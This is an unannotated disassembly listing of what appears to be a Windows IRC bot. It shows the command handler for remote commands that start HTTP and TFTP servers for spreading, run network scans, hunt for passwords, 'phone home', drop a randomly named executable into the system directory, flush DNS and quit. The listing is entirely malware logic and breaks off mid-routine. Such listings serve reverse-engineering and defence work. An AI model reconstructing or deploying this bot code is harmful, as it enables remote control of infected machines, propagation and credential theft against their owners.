push offset aHttpserver ; "httpserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403E0F push edi ; Str2 push offset aHttp ; "http" call _strcmp pop ecx test eax, eax pop ecx jz loc_403E0F push edi ; Str2 push offset aTftpserver ; "tftpserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403CD5 push edi ; Str2 push offset aTftp ; "tftp" call _strcmp pop ecx test eax, eax pop ecx jz loc_403CD5 push edi ; Str2 push offset aCrash ; "crash" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40389E lea eax, [ebp+Dst] push offset asc_441084 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_40387D push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_40387D: ; CODE XREF: sub_401CC7+1B98j lea eax, [ebp+Dst] push eax ; Str2 call sub_415C3F mov [esp+5D98h+var_5D98], offset aCrash_0 ; "crash" push [ebp+esi+var_7C] ; Str1 call _strcmp jmp loc_40226E ; --------------------------------------------------------------------------- loc_40389E: ; CODE XREF: sub_401CC7+1B80j push edi ; Str2 push offset aScanall ; "scanall" call _strcmp pop ecx test eax, eax pop ecx jz loc_4039D1 push edi ; Str2 push offset aSa ; "sa" call _strcmp pop ecx test eax, eax pop ecx jz loc_4039D1 push edi ; Str2 push offset aPhonehome ; "phonehome" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4038F2 lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] ; int call sub_409CEE jmp loc_402143 ; --------------------------------------------------------------------------- loc_4038F2: ; CODE XREF: sub_401CC7+1C10j push edi ; Str2 push offset aFindpass ; "findpass" call _strcmp pop ecx test eax, eax pop ecx jz short loc_403918 push edi ; Str2 push offset aFp ; "fp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_403690 loc_403918: ; CODE XREF: sub_401CC7+1C3Aj push [ebp+Format] ; Format lea eax, [ebp+var_F54] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset asc_441228 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 26h ; int push eax ; Source call sub_40B756 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_417A8B push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4039C0 loc_4039AA: ; CODE XREF: sub_401CC7+1CF7j cmp [ebp+var_EC8], ebx jnz loc_408637 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4039AA ; --------------------------------------------------------------------------- loc_4039C0: ; CODE XREF: sub_401CC7+1CE1j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_441250 jmp loc_408628 ; --------------------------------------------------------------------------- loc_4039D1: ; CODE XREF: sub_401CC7+1BE6j ; sub_401CC7+1BFBj mov al, byte_448402 mov [ebp+Src], ebx cmp al, bl mov edx, offset byte_448402 jz loc_402085 mov ecx, edx loc_4039E8: ; CODE XREF: sub_401CC7+1D29j inc [ebp+Src] add ecx, 0Bh cmp [ecx], bl jnz short loc_4039E8 cmp al, bl jz loc_402085 mov [ebp+arg_18], edx mov esi, offset a2 ; "#2" loc_403A02: ; CODE XREF: sub_401CC7+1FF9j push 0Bh call sub_40B99E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+Src] add eax, ecx cmp eax, 1F4h jle short loc_403A51 push ecx lea eax, [ebp+Dst] push offset asc_4410B4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 20h jmp loc_403CB7 ; --------------------------------------------------------------------------- loc_403A51: ; CODE XREF: sub_401CC7+1D55j or [ebp+var_730], 0FFFFFFFFh cmp dword_448220, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+Src], ebx jz short loc_403AC2 mov edi, offset dword_448220 loc_403A86: ; CODE XREF: sub_401CC7+1DDDj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax ; Str2 lea eax, [edi-28h] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_403AA8 inc [ebp+Src] add edi, 40h cmp [edi], ebx jnz short loc_403A86 jmp short loc_403AC2 ; --------------------------------------------------------------------------- loc_403AA8: ; CODE XREF: sub_401CC7+1DD3j mov eax, [ebp+Src] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_448220[ecx] mov [ebp+var_74C], ecx loc_403AC2: ; CODE XREF: sub_401CC7+1DB8j ; sub_401CC7+1DDFj cmp [ebp+var_74C], ebx jz loc_403CCB push 10h lea eax, [ebp+var_2CC] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2CC], edi push [ebp+arg_4] call dword_4E309C ; getsockname mov al, [ebp+var_8FF] push edi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+Count], eax push [ebp+Count] ; Count call dword_4E3184 ; inet_ntoa push eax ; Source lea eax, [ebp+var_860] push eax ; Dest call _strncpy xor eax, eax cmp [ebp+var_8FF], bl push 30h ; Ch setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax ; Str call _strrchr add esp, 14h cmp edi, ebx mov byte ptr [ebp+File+3], bl jle short loc_403B6A loc_403B48: ; CODE XREF: sub_401CC7+1EA1j cmp eax, ebx jz short loc_403B6A mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, edi jl short loc_403B48 loc_403B6A: ; CODE XREF: sub_401CC7+1E7Fj ; sub_401CC7+1E83j mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi ; Count push eax ; Dest mov [ebp+var_720], 1 call __snprintf push offset byte_4E2FA0 ; Str2 push esi ; Str1 call _strcmp add esp, 14h test eax, eax jz short loc_403BCC push esi ; Format lea eax, [ebp+var_7D0] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_403BD2 ; --------------------------------------------------------------------------- loc_403BCC: ; CODE XREF: sub_401CC7+1EF0j mov [ebp+var_7D0], bl loc_403BD2: ; CODE XREF: sub_401CC7+1F03j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_403BE4 mov eax, offset aSequential ; "Sequential" loc_403BE4: ; CODE XREF: sub_401CC7+1F16j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+Dst] push offset asc_441140 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B756 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset sub_40CB69 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_403C6E loc_403C5C: ; CODE XREF: sub_401CC7+1FA5j cmp [ebp+var_71C], ebx jnz short loc_403C89 push 32h call ds:dword_4F534C ; Sleep jmp short loc_403C5C ; --------------------------------------------------------------------------- loc_403C6E: ; CODE XREF: sub_401CC7+1F93j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset asc_4411AC ; "-" push eax ; Dest call _sprintf add esp, 0Ch loc_403C89: ; CODE XREF: sub_401CC7+1F9Bj cmp [ebp+var_8], ebx jnz short loc_403CAA push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_403CAA: ; CODE XREF: sub_401CC7+1FC5j lea eax, [ebp+Dst] push eax call sub_415C3F pop ecx loc_403CB7: ; CODE XREF: sub_401CC7+1D85j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403A02 jmp loc_402085 ; --------------------------------------------------------------------------- loc_403CCB: ; CODE XREF: sub_401CC7+1E01j push offset unk_4410F4 jmp loc_40717F ; --------------------------------------------------------------------------- loc_403CD5: ; CODE XREF: sub_401CC7+1B56j ; sub_401CC7+1B6Bj push 5 call sub_40B99E test eax, eax pop ecx jle short loc_403CEB push offset unk_440FEC jmp loc_40717F ; --------------------------------------------------------------------------- loc_403CEB: ; CODE XREF: sub_401CC7+2018j mov eax, dword ptr [ebp+esi+Args] cmp eax, ebx jz short loc_403D0E push eax ; Format mov edi, 104h lea eax, [ebp+var_2D50] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_403D22 ; --------------------------------------------------------------------------- loc_403D0E: ; CODE XREF: sub_401CC7+202Dj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call ds:dword_4F5344 ; GetModuleFileNameA loc_403D22: ; CODE XREF: sub_401CC7+2045j mov esi, [ebp+esi+Format] cmp esi, ebx jnz short loc_403D32 mov esi, offset Str ; "nlzhxmpyrjsyle.exe" loc_403D32: ; CODE XREF: sub_401CC7+2064j push esi ; Format lea eax, [ebp+var_2C4C] push edi ; Count push eax ; Dest call __snprintf mov eax, dword_43F078 push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+Dst] push [ebp+var_2B40] push offset asc_44100C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 5 ; int push eax ; Source call sub_40B756 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset sub_412217 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_403DFE loc_403DE8: ; CODE XREF: sub_401CC7+2135j cmp [ebp+var_2AB4], ebx jnz loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_403DE8 ; --------------------------------------------------------------------------- loc_403DFE: ; CODE XREF: sub_401CC7+211Fj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_441040 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_403E0F: ; CODE XREF: sub_401CC7+1B2Cj ; sub_401CC7+1B41j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_403E2E push edi ; Str call _atoi test eax, eax pop ecx jz short loc_403E2E push edi ; Str call _atoi pop ecx jmp short loc_403E33 ; --------------------------------------------------------------------------- loc_403E2E: ; CODE XREF: sub_401CC7+2151j ; sub_401CC7+215Cj mov eax, dword_43F07C loc_403E33: ; CODE XREF: sub_401CC7+2165j mov esi, [ebp+esi+Format] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403E66 lea eax, [ebp+var_37CC] push esi ; Format push eax ; Dest call _sprintf pop ecx pop ecx jmp short loc_403E91 ; --------------------------------------------------------------------------- loc_403E66: ; CODE XREF: sub_401CC7+218Cj lea eax, [ebp+FullPath] push 104h push eax call ds:dword_4F5348 ; GetSystemDirectoryA push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath add esp, 14h loc_403E91: ; CODE XREF: sub_401CC7+219Dj lea eax, [ebp+var_37CC] push eax ; Str call _strlen cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403EBC lea eax, [ebp+var_37CC] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_37CD], bl loc_403EBC: ; CODE XREF: sub_401CC7+21DFj push [ebp+Format] ; Format mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AF71 pop ecx push eax lea eax, [ebp+Dst] push offset asc_440F60 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 3 ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40FB50 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_403F70 loc_403F5E: ; CODE XREF: sub_401CC7+22A7j cmp [ebp+var_36AC], ebx jnz short loc_403F8B push 32h call ds:dword_4F534C ; Sleep jmp short loc_403F5E ; --------------------------------------------------------------------------- loc_403F70: ; CODE XREF: sub_401CC7+2295j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset asc_440F9C ; "-" loc_403F7C: ; CODE XREF: sub_401CC7+240Aj ; sub_401CC7+4D85j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_403F8B: ; CODE XREF: sub_401CC7+229Dj ; sub_401CC7+23EEj ... cmp [ebp+var_8], ebx jnz loc_408637 push ebx push edi jmp loc_407500 ; --------------------------------------------------------------------------- loc_403F9B: ; CODE XREF: sub_401CC7+1B02j ; sub_401CC7+1B17j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_403FBA push edi ; Str call _atoi test eax, eax pop ecx jz short loc_403FBA push edi ; Str call _atoi pop ecx jmp short loc_403FBF ; --------------------------------------------------------------------------- loc_403FBA: ; CODE XREF: sub_401CC7+22DDj ; sub_401CC7+22E8j mov eax, dword_43F080 loc_403FBF: ; CODE XREF: sub_401CC7+22F1j mov [ebp+var_1824], eax mov eax, [ebp+esi+Format] cmp eax, ebx jnz short loc_403FD6 lea eax, [ebp+var_C0] loc_403FD6: ; CODE XREF: sub_401CC7+2307j push eax ; Format lea eax, [ebp+var_1964] push 40h ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+Str2] add esp, 0Ch cmp esi, ebx jnz short loc_403FF8 mov esi, offset dword_4E2F9C loc_403FF8: ; CODE XREF: sub_401CC7+232Aj push esi ; Format lea eax, [ebp+var_1924] push 100h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AF71 pop ecx push eax lea eax, [ebp+Dst] push offset asc_440ED4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 9 ; int push eax ; Source call sub_40B756 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset sub_4114CE push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4040C5 loc_4040AF: ; CODE XREF: sub_401CC7+23FCj cmp [ebp+var_180C], ebx jnz loc_403F8B push 32h call ds:dword_4F534C ; Sleep jmp short loc_4040AF ; --------------------------------------------------------------------------- loc_4040C5: ; CODE XREF: sub_401CC7+23E6j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_440F10 jmp loc_403F7C ; --------------------------------------------------------------------------- loc_4040D6: ; CODE XREF: sub_401CC7+1AD8j ; sub_401CC7+1AEDj mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4040E9 push esi ; Str call _atoi jmp short loc_4040F0 ; --------------------------------------------------------------------------- loc_4040E9: ; CODE XREF: sub_401CC7+2418j push 0Bh call sub_40B9BD loc_4040F0: ; CODE XREF: sub_401CC7+2420j cmp eax, ebx pop ecx jz loc_409B16 push eax ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40C0B6 jmp loc_4045A4 ; --------------------------------------------------------------------------- loc_404110: ; CODE XREF: sub_401CC7+1AAEj ; sub_401CC7+1AC3j mov eax, dword_4E3014 cmp eax, ebx jz short loc_40412D call eax ; DnsFlushResolverCache test eax, eax jz short loc_404126 push offset unk_440E30 jmp short loc_404132 ; --------------------------------------------------------------------------- loc_404126: ; CODE XREF: sub_401CC7+2456j push offset unk_440E54 jmp short loc_404132 ; --------------------------------------------------------------------------- loc_40412D: ; CODE XREF: sub_401CC7+2450j push offset asc_440E80 ; "-" loc_404132: ; CODE XREF: sub_401CC7+245Dj ; sub_401CC7+2464j ... lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf jmp loc_406F56 ; --------------------------------------------------------------------------- loc_404148: ; CODE XREF: sub_401CC7+1A84j ; sub_401CC7+1A99j call sub_40AE8D test eax, eax jz short loc_404158 push offset unk_440DCC jmp short loc_404132 ; --------------------------------------------------------------------------- loc_404158: ; CODE XREF: sub_401CC7+2488j push offset unk_440DF0 jmp short loc_404132 ; --------------------------------------------------------------------------- loc_40415F: ; CODE XREF: sub_401CC7+1A5Aj ; sub_401CC7+1A6Fj cmp [ebp+var_8], ebx jnz short loc_40417E push ebx ; int push [ebp+var_4] ; int push offset dword_440D84 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_40417E: ; CODE XREF: sub_401CC7+249Bj push ebx ; int push [ebp+var_4] ; int call sub_418EEF push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 push offset dword_440D9C jmp loc_404470 ; --------------------------------------------------------------------------- loc_4041A0: ; CODE XREF: sub_401CC7+18EAj ; sub_401CC7+18FFj push 0Ah call sub_40B99E test eax, eax pop ecx jle short loc_4041B6 push offset unk_440C94 jmp loc_4098C3 ; --------------------------------------------------------------------------- loc_4041B6: ; CODE XREF: sub_401CC7+24E3j push [ebp+Format] push [ebp+arg_4] call sub_41AB45 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4041D5 push offset unk_440CC0 jmp loc_4098C3 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_401CC7+2502j push offset unk_440CE8 jmp loc_4098C3 ; --------------------------------------------------------------------------- loc_4041DF: ; CODE XREF: sub_401CC7+18C0j ; sub_401CC7+18D5j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40AA90 jmp loc_402082 ; --------------------------------------------------------------------------- loc_4041F8: ; CODE XREF: sub_401CC7+1896j ; sub_401CC7+18ABj push dword ptr [ebp+esi+Args] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41779D jmp loc_402082 ; --------------------------------------------------------------------------- loc_404215: ; CODE XREF: sub_401CC7+186Cj ; sub_401CC7+1881j or edi, 0FFFFFFFFh call ds:dword_4F537C ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx mov [ebp+Src], eax jz short loc_40423E push esi ; Str call _atoi pop ecx mov edi, eax loc_40423E: ; CODE XREF: sub_401CC7+256Cj mov eax, [ebp+Src] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_404257 cmp edi, 0FFFFFFFFh jnz loc_409B16 loc_404257: ; CODE XREF: sub_401CC7+2585j push ebx call sub_41B76F pop ecx push eax lea eax, [ebp+Dst] push offset asc_440C4C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 lea eax, [ebp+Dst] push eax call sub_415C3F loc_404295: ; CODE XREF: sub_401CC7+531Dj add esp, 24h jmp loc_409B16 ; --------------------------------------------------------------------------- loc_40429D: ; CODE XREF: sub_401CC7+1842j ; sub_401CC7+1857j push [ebp+var_4] push [ebp+Format] push [ebp+arg_4] call sub_416591 add esp, 0Ch push offset dword_440C20 jmp loc_40717F ; --------------------------------------------------------------------------- loc_4042BB: ; CODE XREF: sub_401CC7+1818j ; sub_401CC7+182Dj push 27h call sub_40B99E test eax, eax pop ecx jle short loc_4042EF cmp [ebp+var_8], ebx jnz loc_402085 push ebx ; int push [ebp+var_4] ; int push offset unk_440B90 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 loc_4042E7: ; CODE XREF: sub_401CC7+72E0j add esp, 14h jmp loc_402085 ; --------------------------------------------------------------------------- loc_4042EF: ; CODE XREF: sub_401CC7+25FEj push [ebp+Format] ; Format lea eax, [ebp+var_B2C] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, dword ptr [ebp+esi+Args] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404350 push esi ; Str2 push offset aFull ; "full" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404350 mov [ebp+var_AA8], 1 loc_404350: ; CODE XREF: sub_401CC7+266Cj ; sub_401CC7+267Dj lea eax, [ebp+Dst] push offset asc_440BB8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 27h ; int push eax ; Source call sub_40B756 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A7CC push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4043BE loc_4043A8: ; CODE XREF: sub_401CC7+26F5j cmp [ebp+var_A9C], ebx jnz loc_4098F2 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4043A8 ; --------------------------------------------------------------------------- loc_4043BE: ; CODE XREF: sub_401CC7+26DFj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dst] push offset asc_440BD4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4098F2 ; --------------------------------------------------------------------------- loc_4043DE: ; CODE XREF: sub_401CC7+17EEj ; sub_401CC7+1803j cmp [ebp+var_8], ebx jnz short loc_4043FD push ebx ; int push [ebp+var_4] ; int push offset dword_440B68 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_4043FD: ; CODE XREF: sub_401CC7+271Aj push [ebp+arg_4] call dword_4E3190 ; closesocket call dword_4E3050 ; WSACleanup call sub_4190F6 push ebx call ds:dword_4F5338 ; ExitProcess loc_404418: ; CODE XREF: sub_401CC7+17C4j ; sub_401CC7+17D9j push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push eax call sub_41B92C pop ecx pop ecx push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 push offset dword_440B40 jmp short loc_404470 ; --------------------------------------------------------------------------- loc_404443: ; CODE XREF: sub_401CC7+179Aj ; sub_401CC7+17AFj push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41BBE0 add esp, 0Ch push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 push offset dword_440B18 loc_404470: ; CODE XREF: sub_401CC7+24D4j ; sub_401CC7+277Aj call sub_415C3F add esp, 18h jmp loc_409B16 ; --------------------------------------------------------------------------- loc_40447D: ; CODE XREF: sub_401CC7+1770j ; sub_401CC7+1785j push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_415D7C jmp loc_402082 ; --------------------------------------------------------------------------- loc_404496: ; CODE XREF: sub_401CC7+1746j ; sub_401CC7+175Bj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4044D5 mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_4044D5 push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_4044D5 push eax push offset aS_36 ; "%s" lea eax, [ebp+var_1594] push 80h ; Count push eax ; Dest call __snprintf add esp, 10h loc_4044D5: ; CODE XREF: sub_401CC7+27D8j ; sub_401CC7+27E3j ... push [ebp+Format] ; Format lea eax, [ebp+var_1614] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+Dst] push offset asc_440AAC ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 25h ; int push eax ; Source call sub_40B756 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset sub_415DEF push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_404578 loc_404562: ; CODE XREF: sub_401CC7+28AFj cmp [ebp+var_1508], ebx jnz loc_402085 push 32h call ds:dword_4F534C ; Sleep jmp short loc_404562 ; --------------------------------------------------------------------------- loc_404578: ; CODE XREF: sub_401CC7+2899j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_440AC4 jmp loc_402269 ; --------------------------------------------------------------------------- loc_404589: ; CODE XREF: sub_401CC7+171Cj ; sub_401CC7+1731j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_415BC7 push offset dword_440A88 call sub_415C3F loc_4045A4: ; CODE XREF: sub_401CC7+2444j add esp, 10h jmp loc_409B16 ; --------------------------------------------------------------------------- loc_4045AC: ; CODE XREF: sub_401CC7+16F2j ; sub_401CC7+1707j push [ebp+Format] ; Format lea eax, [ebp+var_BC4] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] mov esi, dword ptr [ebp+esi+Args] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_404606 push offset aSub ; "sub" push esi ; Str1 call _strcmp neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_40460C ; --------------------------------------------------------------------------- loc_404606: ; CODE XREF: sub_401CC7+2923j mov [ebp+var_B40], ebx loc_40460C: ; CODE XREF: sub_401CC7+293Dj lea eax, [ebp+Dst] push offset asc_440A20 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 28h ; int push eax ; Source call sub_40B756 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_40B7C1 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_40467A loc_404664: ; CODE XREF: sub_401CC7+29B1j cmp [ebp+var_B34], ebx jnz loc_406F7A push 32h call ds:dword_4F534C ; Sleep jmp short loc_404664 ; --------------------------------------------------------------------------- loc_40467A: ; CODE XREF: sub_401CC7+299Bj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_440A40 jmp loc_4094C9 ; --------------------------------------------------------------------------- loc_40468B: ; CODE XREF: sub_401CC7+1676j ; sub_401CC7+168Bj push offset aTrb ; "trb" push offset asc_4409A8 ; "-" loc_404695: ; CODE XREF: sub_401CC7+2A0Dj lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 20h jmp loc_406F7A ; --------------------------------------------------------------------------- loc_4046C2: ; CODE XREF: sub_401CC7+164Cj ; sub_401CC7+1661j push dword_4E2E1C call sub_41B76F pop ecx push eax push offset unk_440974 jmp short loc_404695 ; --------------------------------------------------------------------------- loc_4046D6: ; CODE XREF: sub_401CC7+1622j ; sub_401CC7+1637j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_404708 cmp [ebp+var_C], ebx jz short loc_404717 push esi ; SubStr push [ebp+var_C] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_404717 push eax ; Args push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] ; int 